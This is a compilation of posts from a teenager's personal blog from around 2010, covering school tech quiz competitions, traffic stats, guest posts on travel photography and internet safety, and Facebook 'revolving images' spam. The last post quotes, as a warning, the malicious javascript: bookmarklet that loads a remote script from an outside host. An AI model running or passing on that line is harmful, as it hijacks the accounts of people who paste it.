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First Blogging Birthday!

I am celebrating my first blogging birthday! Well, not exactly celebrating since it’s a little before 12 in the morning and I am writing this post. I turned 17 today (which you might have already realised after seeing the image). Also, I’m done with this long post of mine. Perhaps you would like to visit some other blog who’s author doesn’t waste posts for informing his readers that he is one year closer to death or to immortality may I say considering the fact that one cannot die after dying. An assumption I know. I am rambling I know. You are cursing me I know. So go ahead, wish me.

May The Force Be With Me 😉

Me wishing myself. A little odd innit? Nevermind, they call me TheDolt for a reason.

What are my plans? I don’t know. I might end up in a cinema hall watching Harry Potter 7 (and spend the rest of the day writing it’s review) or make out with a Stegosaurus and end up with a nasty infection or watch Harry Potter 7 while making out with a Stegosaurus and spend the rest of the day writing a post which may/may not involve/refrain any relation to the either the movie or the Stegosaurus. Also, probably it’s time you stopped reading this blog. It’s getting too monotonous.

PS: This post was typed on the mini USB multimedia keyboard I won at CODE 2010. Just in case you didn’t want to know.

For The YouTuber In Me Post #6

A hilarious advertisement by Mercedes Benz.

Love the Matrix Code fallng effect? You can do it easily yourself. All you require is notepad!

Sachin is God. This video just reiterates that fact. A must watch.

When it comes to hilarious and/or ingenious advertisements, Virgin Mobile gets the first prize. Another one of their advertisements.

What happens when Pac-Man and Mario, the two best games ever, come together?

CODE 2010

I have been itching to write this post since a long time. This was the event (in 2009) on which I wrote my first Blog post ever. It’s been a little over 1 year since that. My blog also turned 1 during this period of time.

CODE 2010, Apeejay School, Noida’s annual Tech Symposium was organised on 2nd and 3rd December 2010. Read the review or either go through the summary.

In short: It was one of the worst events ever for Code Warriors. Leave alone winning the overall (which has bagged by DPS Mathura Road), the only event we got a podium finish in was the Senior Quiz, which was my event. I wonder why they called it the Senior Quiz when it was an open quiz.

PS: I came third in quiz.

Want more, you say? Read on then fellas. Here I start one of my extra long posts again.

DAY 1

Last time I went to CODE 2009, I qualified but messed up the finals. Or to say, someone else messed it up. But anyway, leaving that for now. I was teamed up with Vaibhav Gulati (yet again) for the Senior Quiz. I’ll not bother you with any more team details since I already sense that you are fearing it but I do need to mention the gaming participants for a reason (which will be reveled shortly). So here it is, Aditya Kumar and *drumrolls please*, *some more please*, *a little more drum-rolls wouldn’t hurt, now would they?*, *now stop this! It’s getting irritating*, Mrinal Datt.

Thankfully Noida is far from my school. At least enjoyed the bus ride with my fellows Code Warriors this time unlike during Exun 2010 and DynamiX 2010.

Reached a bit late but thankfully the event was a little off schedule (just as I had anticipated). For the first time I wrote my name in field “Student In-charge” while registering.

It gave me goosebumps.

Done with the registrations et al we settled in the mind-bogglingly huge auditorium. The screen for the Projector was so huge that the image projected form the projected looked distorted. I don’t how people manged to see what was being shown on it. All I could see were pixels. Huge pixels.

The chances of getting an overall looked pretty good at that time but fate new better. The judges had a really bad taste. Students as judges are always a better alternative to other way round. The Web Designing event went really well for Aseem and Nitin Jerath but somehow they ended up winning nothing. I personally went to see their Digital Imaging and I can assure you that though it was not the best among other participants, it did deserve a podium. The gaming event didn’t go well either. Aditya Kumar lost 4-0 to some Y guy from X school who looked like Y guy from X school.

The quiz prelims is something that I think I can (and should) talk at length about. It didn’t go well but from the marks that we got it was pretty good considering the fact that I *forgot to write* a couple of answers. We troubled the invigilators a bit too 😛 The Prelims were good. Actually very good but one thing spoiled my mood. And that one thing can spoil anybody’s mood. Tell me, when we wrote“Any team that can arrange for an iPad and smash it to pieces with a sledgehammer within the duration of the quiz will be given direct entry to the final round, along with ALL the answers to the final round questions.” in the Senior Quiz prelims of Code Wars 2010 were we serious? It’s supposed to be a joke! But looks like the people who made the paper (or checked it) took it seriously. They wrote “Humorous answers will be appreciated and marks will be awarded”. It was also written that “Incase of a tie, the team with more correct answers will be selected”. Now think, doesn’t that contradict what they said earlier? It would have ended right there but the reason I am writing this obscure fact here, on my blog, is because they gave 3 points to a DPS Noida team just because they gave more funny answers. On top of that they also told a member of one team that they are disqualifying them. When asked for a reason a member of the clan replied “Just like that. My wish”.

But now, when I look back at it, I think it could all have been a small mistake on the clan’s side who’s repercussions went on to be a little more serious than they should have. The problem was later sorted out and the clan was seen to be very supportive. The clan was at fault nevertheless.

Back to the prelims-The questions were very easy. I missed a few sitters but no worries, they didn’t hurt us. The quiz can be found at the end of the post. Give it a go. See how many you can get. My score was 14 (I guess) while the highest was 16 (I’m sure). Cut off was pretty low, somewhere around 7-8 (again, I guess).

The gaming event turned out to be more interesting than anyone could anticipate. The rules were altered a bit and the second member (Mrinal Datt) went on to play Unreal Tournament against a guy who had beaten everybody else. Mrinal had earlier gone for Surprise Event and hence was unaware of the alteration in rules and therefore turned up late for the gaming event. I had asked GVK Vishal if Mrinal knew about the gaming thing to which Vishal replied

Haan, haan. He knows.

As it turned out, Mrinal didn’t.

I talked to the teacher. Tried to persuade the teacher but no, she wouldn’t listen.  It was only when I finally pointed out that it was the school’s mistake that they altered the rules without telling every participant personally that she finally gave in. The game was, as I mentioned before was Unreal Tournament 2004. The format was race to 5 ( or frag to 5). With his gear set up, Mrinal started playing.

One minute into the game and the score is 4-0 with Mrinal loosing. Mrinal aka The Smart Ass grabs something that looked like a rocket, fires it somehow managed to blow himself up. The score was then 4- (-1). Yes, that’s a negative 1. Don’t know what happened after that. The gamer in him awoke and with a killing spree of 6 kills Mrinal won the Prelims and hence qualified. 😀

This is how Mrinal “Emo” Datt gave all us a heart attack followed by a number of Kevin! shouts.

The first day had almost ended by then. It got delayed by an hour though. With qualification in only Gaming and Quiz, the chances of the overall, as Aditya Kumar said on his blog in his post about Code Day 1, looked bleaky.

Well, if you have survived till here then a little more wouldn’t hurt.

Day 2

Since the chances of an overall looked bleaky, I wasn’t much excited about the second day. Thanks to Harpreet ma’am for turning up late and then the bus driving vanishing from just in front of our eyes and a jam in the way, we reached Apeejay Noida an hour late. I thank the clan members personally for cooperating with us. Had they not picked up their phones or not waited for us, I’m pretty sure we would have missed the event. This is what I was thinking on the way.

When I reached I realised that the event was not a bit off schedule, it had no particular schedule. The Senior quiz which was supposed to start at 9 am didn’t start till 11. In meantime we were shown the top 6 videos for the event Video-Editing. Only two out of the six were good IMHO. One was DPS Mathura Road’s (I’d give 6/10) and one was DPS Noida’s ( I’d give a 10/10). The amount of effort that the Noida guys had put in was incomparable. They had actually shot their own videos unlike other teams who just took some images (from Google, mind you) and put them in sequence with some weird effects playing around. As I mentioned earlier, the judges (teachers) had a bad taste. DPS Noida came third while Mathura Road got nothing. One of the teams videos even had a watermark on their videos telling that they used a trial version of a software.

Image Credit eSpice

The quiz then started. I was desperate for a win. Two rounds into the quiz and our score was 5 while the maximum any team had was 10. There was still time to catch up. The third round was rapid fire. After seeing the rapid fire questions of other teams I got a bit tensed. 6 questions were to be asked, each for 2 points. The maximum any team got correct was 4, which was us. It could have been 5 had I not panicked and blurted out a wrong answer (said Finland instead of Poland, got confused between the two). It could have also made us come 2nd in the quiz instead of 3rd.

The last round was pretty interesting. The teams who qualified on day 1 were told to get 3 questions from home out which 1 will be asked to another team that will be onstage. The questions needed to be tech inclined. Needless to say, everyone got some really weird questions. I wasn’t expecting myself or Vaibhav to get any of the questions correct. I had given three questions and then gave them the final one considering the fact that it was Open-Source based. With 15 points for correct answer, this round could turn the tables. The question was:

What was Fedora Core 1’s codename?

The answer is Yarrow. Nobody got it right just like nobody got anyone else’s question right. The round literally turned out be a “dry round”

The finals scores were:

1st DPS Mathur Road: 16

2nd DPS Noida: 14

3rd DPS Vasant Kunj: 13 (would have been 15 had I not messed up)

The teacher was adamant on leaving while I adamant on staying because  I wanted my trophy and prize. Eventually she won and we left while another teacher stayed behind to collect the prizes and trophies. I haven’t seen my trophy or price yet 😦

Considering the fact that CODE 2010 didn’t have any sponsors, the event was good. They even had prizes!

Archives

Download the Senior Quiz Prelims paper here (it’s a little big, sorry :P)

Download the Senior Programming paper from here.

TheDolt’s Blog’s 2nd Monthly Traffic Report: November 2010

My blog completed its first year 4 days back on 27th November

It turned one!

Even though it might have gone unnoticed and you might not still give a damn but it is an achievement. I couldn’t write a post that day because of a shitty Chemistry Monday Test which went well, by its name, shitty. Also, there’s a huge announcement coming up. Hold your horses because I am not going to make it today. It will be made in the coming week. Till then you may feast on or plainly ignore this Blog’s 2nd Monthly Traffic report for the month of November 2010 and might even like to compare it with October’s Traffic.

The traffic as I had anticipated, increased. But my expectation for the coming month has decreased because the increase in the past month was not much. I couldn’t write many posts because of various reasons. One of which is the Star Wars Series. The other being studies. I am (hardly) studying in 11th, just in case you didn’t know. So, without wasting any more of your worthless time here is the report.

The blog received almost 15000 views in November. The exact figure can be seen in the images. It missed the 15000 mark by some 150 odd page views 😦 Though an improvement on last month, there is still scope for more traffic.

Graph Per Day

Recent Weeks

Average Per Day

Months And Years

The aim now it to cross the 15K mark. The 30K aim which I mentioned about last time is on hold for now 😉

The Revolving/Rotate Images Spam Is Spreading Like A Forest Fire On Facebook

I have mentioned earlier about the revolving images spam on Facebook. I also wrote a post on how to get rid of it. But yet another problem has arisen. The Revolving Images Spam is no more only the Revolving Images Spam. It has now taken various forms. One is:

The following websites now also house the script. Be careful.

The message written along with the link to a website in most cases is “Hi Friends see Face-book images rotate 360* see here >>”. The homepage of every website is the same.

UPDATE 1: Some posts also have this as the message

“AMAZING! I just got Invitation for Facebook Revolving Images Feature!! Its Awesome! See if you can get an invite too –>> http://imajik.tk/ -EXCLUSIVE-“

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I’ll add more links as and when I will get to know about them. If you are a victim of this rotate/revolve Facebook spam then click here to see how you can get rid of it in just 2 minutes.

DynamiX 2010

DynamiX, the annual computer symposium of Ramjas Public School RK Puram was held on 26th November 2010. With over 26 schools participating, DYNAMIX 2010 was a success if one doesn’t take the refreshments into account. Code Warriors bagged the Runners Up trophy along with 4 individual wins. And since this is my blog I can add a bit about my win also; 3rd in quiz.

It wasn’t till the eve of the event that I was sure if I’d be going or not. As it turned out, I went and it meant well for all. With Vivek Nair taking his cue from competitions and VS Karthick and our two main programmers, Akash and Harmanpreet busy with their preboards all the responsibility was on me and Aditya Kumar. We took three new kids for the competition. 2 programmers, Archit and Varun and one for GD, Manan. With a hope to win the overall in our hearts we boarded the bus to Ramjas Public School RK Puram. Just like EXUN the bus ride to Ramjas was also vey short. It took barely 10 minutes to reach the school and took 10 more to find a place to park the bus. I told everyone to shout KEVIN while getting down from the bus and the thing that I had been dreading happened. I ended up shouting KEVIN alone. No unity in the team whatsoever!

With the registration done and nothing to do since DynamiX was running behind schedule I went to check out the school. Don’t get me wrong but the school felt like a Nazi Torture camp. With long unlighted corridors with small chamber like room for classes and a flickering low power tubelight it was anything but soothing. It was like the cellular jail coupled with a torture chamber. And for the record, I even witnessed saw a teacher slap a boy.

As announcements were made for different competition on a microphone which got slapped more time than any kid in particular, participants started leaving for their respective events. I was in for quiz with Vaibhav Gulaiti since crossword and quiz were clashing. I also wanted to go for GD but even it was clashing. As it turned out, since the event was running a bit off schedule, they changed the timings a bit and all three events started and ended on totally different and non-clashing times. Sad.

On their website it was written “Participants are suggested not to take part in 2 Overlapping Events.” Since they used the word suggested and not “not allowed” people registered themselves for two clashing events. When the DYNAMIX heads were contacted they simply refused to let one particiapnt go for mulitiple events but eventually they did allow it.

As we started the quiz we realised that qualifying would be difficult for us. The paper was easy and we missed quite a few questions with some of them being sitters. First question

What was Google’s original domain when it was established?

Yahoo ka to akebono.stanford.edu/yahoo hai. Google ka stanford.edu/google ho sakta hai…..

The answer turned out to be Google.stanford.edu. I think we were given marks because the Stanford thing is actually more important than where Google is written

Another question

He was born in 1981. He is a research assistant and a PhD candidate at MIT Media Lab. He is also the inventor of Mouseless. Who am I talking about?

Pranav Mistry. Easy peasy.

Done with the paper we exited the room with low spirits only to find out something which raised our those spirits. The team consisting of Aditya and Vishal had qualified for crossword finals even after answering only 3 out of 16. Prempal Singh from NEPS got 11, Seriously?! And don’t go by the difference in the preliminary scores because Aditya and Vishal may have come last in the prelims but they came first in the finals and the win was by a margin of 20 points.

Quiz results were announced after 20 or so minutes. Apparently, we were wrong and we easily qualified. The cut off was 6 and we had 9 correct. With half an hour of supposed to be pure boredom I acquired the crossword prelims paper which was actually pretty good. The crossword finals were pretty good as well. To be truthful, it was a tad too easy (or at least Aditya and Vishal made it look so) .

The quiz finals started on a good note with some really good questions but as the quiz progressed the quality of questions kept going down. For a moment I heard myself saying aloud to the quiz master that the answer to some X question was “this-was-supposed-be-a-tech-quiz-I-guess”. I controlled my self after that and kept on answering questions (wrongly).  The quiz was supposed to be an infinite bounce quiz but the quiz master didn’t know what it was so he dropped the idea of infinite bounce. This question came up in the quiz. The question was directed at team B while I was D.

For which system the first computer virus “Elk Cloner” written?

Team B: Er..

Quiz Master (after 30 seconds): Passes on to team C.

Me (Interjecting): By system you mean the machine or the operating system?

Quiz Master: Machine.

Team C: Er..Apple I?

Quiz Master: No. Passes on to team D.

Me: Uhm..Apple II?

Quiz Master: Yes. It was the Apple II.

It was pure guess work. Thanks to team C for answering Apple I. Their answer just made me more confident of my answer which I hadn’t thought till then. Free points! FTW!

One thing that I think I should mention here is that the quiz finals didn’t took place on a stage. Rather, they took place in a small room with a projector in it. With no audience whatsoever and no stage fear I liked the way the quiz was conducted. The quiz ended with Prempal Singh and Jhashank Gupta of NEPS (New Era Public School, Mayapuri) tied with my team. Both at 30 points. After discussing it quite a few times the guys at DynamiX (dynamites if you would like to call them. Stupid name BTW) settled on giving both of the team the third position since there wasn’t any trophy for 2nd runners ups.

The crossword finals, as I already mentioned were a tad to easy. Yes, it was cryptic but not so much. One clue that I personally really liked was

Er…Can you please turn on the AC?

See the archives to know the answer 😛

With two podium finishes in two events and three events to go the chances of getting an overall looked pretty good. News started coming in with the first one being that Manan had come 2nd in Group Discussion and second being that of Mrinal’s win in Gaming. The overall was ours. Nothing could stop it. But as fate had it, DPS RKPee came first in PowerPoint Presentation along with 4 other podium finishes. We hadn’t submitted the PPT because the invite reached us on the last day of submission and we couldn’t be bothered enough make a PPT in whatever little time that was left with us. Had it not been for the PPT we would have surely replaced DPS RKPee as the overall winners.

Archives

Download the Quiz Prelims.

Download the Quiz Finals.

Download the Crossword Prelims. (Previewing the file will not work. First download and then open file in any Browser.)

Download the Crossword Finals. (Previewing the file will not work. First download and then open file in any Browser.)

Good Travel Photographs Part II: People and Candid Portraits

This is a guest post by Maria Rainier who is a freelance writer and blog junkie. She is currently a resident blogger at First in Education, researching areas of online colleges and blogging about student life. In her spare time, she enjoys square-foot gardening, swimming, and avoiding her laptop. If you would like to write for TheDolt’s Blog, do read our page Be My Guest; Write A Guest Post.

This post is a sequel to Maria’s last guest post, How to Take Good Travel Photographs.

The subjects that make it into travel photography aren’t always the things people traveled to see (like famous bridges, old buildings, or stunning landscapes); they can instead be the people met along the way.

People-centeric photography can be tricky. When traveling, people-centric photographs tend to be candid ones, like of a mother and child at a market in Florence or of fishermen in Vietnam. The idea of taking pictures of random people is normal to some but a lot of people understandably get a bit of a stalker vibe. In order to take the most effective and attractive photographs while maintaining your manners, follow these tips.

• When taking candid photos of people, it’s best to use a telephoto lens so you can keep your distance and very subtly snap pictures of people without them knowing. This can be done with subtlety or with the aforementioned stalker vibe. If you’re spotted by your subject, you can do one of two things: smile and turn the camera away or smile and approach the subject to engage him or her in conversation. This conversation doesn’t need to be about the weather or how many kids they have; keep it short and simple so you can ask them if it’s okay that you take a picture of them or even if they will pose for you.

• Walking up to a stranger in a foreign country or in a spot in town you’ve never been evokes many scenarios. Maybe the stranger gets angry at you. Maybe they run away and everyone starts looking suspiciously at you. Maybe somebody catches you taking pictures of their kids and calls the police. Or maybe your would-be subject shakes his or her head or covers his or her face and walks away. Maybe, just maybe, they shyly nod and let you snap a photo. Of these scenarios, only the last two are likely. If you ask politely enough—and even if you don’t speak the local tongue, an indication of your camera and a smile usually communicate the point—most people won’t be offended and will either comply or equally politely decline. If they do the latter, no sweat—just don’t take the picture anyway, because the other scenarios become more likely.

• Don’t know how to ask your subject to pose? Let him or her decide. If they want your guidance, try to frame the scene to capture only the head and shoulders and have the subject look into the lens (although they don’t need to face the camera entirely). The sidelong look is a highly effective and even intimate shot. Make sure, also, to keep the background simple, neutral, and uncluttered to keep the focus on the person. If you have a dSLR, use a large aperture and selective focus so the background becomes blurred and your subject is in focus. Soft, even lighting is ideal, but if you find yourself in direct sunlight, use a flash (yes, even outdoors) to offset the shadows cast by the sun under the eyes.

• Say that your subject is a basket weaver at work. Taking pictures of individuals working means that there’s already some kind of action in your photo, which is great. Be sure to frame the shot so as to include the action just enough to tell a story.

• We’ve all seen those black and white, close-up portraits of people from exotic places of the world. It’s strangely beautiful how the lighting takes advantages of the wrinkles on their faces and gaps in their charming smiles to portray stark, stunning images of real people in real places. Black and white photography has its place, but never shoot in black and white. Your camera captures color better than any photo-editing program. You can desaturate your images there, but always shoot in color.

• In some cultures, having one’s picture taken is unlucky or signifies a bad omen. Read up on local culture and beliefs before taking your camera.

How to Use Internet Safely When On the Web

This is a guest post by Kristina Ross It is important to learn about black hat hackers if you need to protect yourself from the dangers of losing vital data while surfing the net. Read ethical hacking tutorials written by the above author to know more about internet safety. If you would like to write for TheDolt’s Blog, do read our page Be My Guest; Write A Guest Post.

Using the Internet is a necessity these days because we are now living in a virtual world where millions of vital interactions occur online. The problem that people usually have now is how to use Internet safety when on the web. There are criminals also online and you need to protect yourself from these scammers, hackers, and spammers.  Here are some pointers on how to do it.

• Select reliable Internet safety resources
  • Choose an internet service provider that provides reliable filters and effective software, which would guard you against Cybercrimes.
  • Use software applications with features like filtering features, mobile eyes, inappropriate websites’ blocking that could ensure the safety of anyone using your computer.
  • Use total security packages offered by reputed antivirus companies. This could prevent a whole lot of untoward incidents such as prevention of viruses, Trojans, worms, malware, spyware, or even phishing.
• Learn the basics of using the Internet
  • Train yourself to be net-savvy, this can help you heed warning bells and detect simple Internet scams.
  • Be informed and keep yourself updated on the latest cybercrimes and preventive measures.
  • Explore the internet browsers and learn advanced settings, where you can block unwanted sites through which you can guard your children from obscenity.

Useful tips to ensure safe Internet usage

Inform them of the danger of the cyberspace world, like the danger of providing too private information online, like addresses, phone numbers, and names of family members. This information can prove useful to people who want to steal your identity and use it to hack your online accounts or steal your money. Warn them of selecting legitimate sites to sign up with and to set their filter always at the maximum. Limit the time that they can spend in the Internet.

So Much Pun – The Real U-Tube

Guess who’s studying Thermodynamics?

Get Rid Of The “Revolving Images” Spam On Facebook

If you are reading this post then I’m assuming that you happen to be one of those unfortunate users who unknowingly copy pasted the following script into their browser address bars hoping to see revolving images on Facebook. If I happen to be wrong and you are not even remotely aware of anything I’m saying then do not under any circumstances use the script below.

javascript:(a = (b =  document).createElement("script")).src =   "//graphicgiants.com/majic.js?show", b.body.appendChild(a); void(0)

Chances are that the spam has started to become a PITA and you want to get rid of it. But how? It’s fairly easy and was pointed out to me by one of my readers, Zahid. Great guy I must say. If this solution works for you then do thank him in the comments. He deserves it.

The spam is making wall posts and is updating users’ status’. To do this, it is using the a not so newly launched Facebook feature called “Upload Via E-mail”. It is a unique personal Email address given to every user which allows one to post status updates or send photos and videos straight to one’s profile. The spam has recorded this Email address of yours and is using it to update your status. Thankfully, Facebook lets you change this E-mail ID. This is how you can do it.

Step 1: Go over to http://www.facebook.com/mobile/

Find “More Facebook Mobile Products” written somwhere down. Find “Upload Via Email“. Click “Find out more“.

Step 2: Now look at the image below and click exactly where it says “..refresh your upload email.” or exactly where you see the cursor in the image.

Step 3: Now press reset. Don’t worry, your computer will not crumble to pieces. At least, not yet.

Step 4: If you see an image something like this (below) then you are done for the day. The spam won’t work anymore.

And please don’t go about entering random JavaScript in your browsers anymore.

Lesson for day for you: JavaScript can be very malicious.

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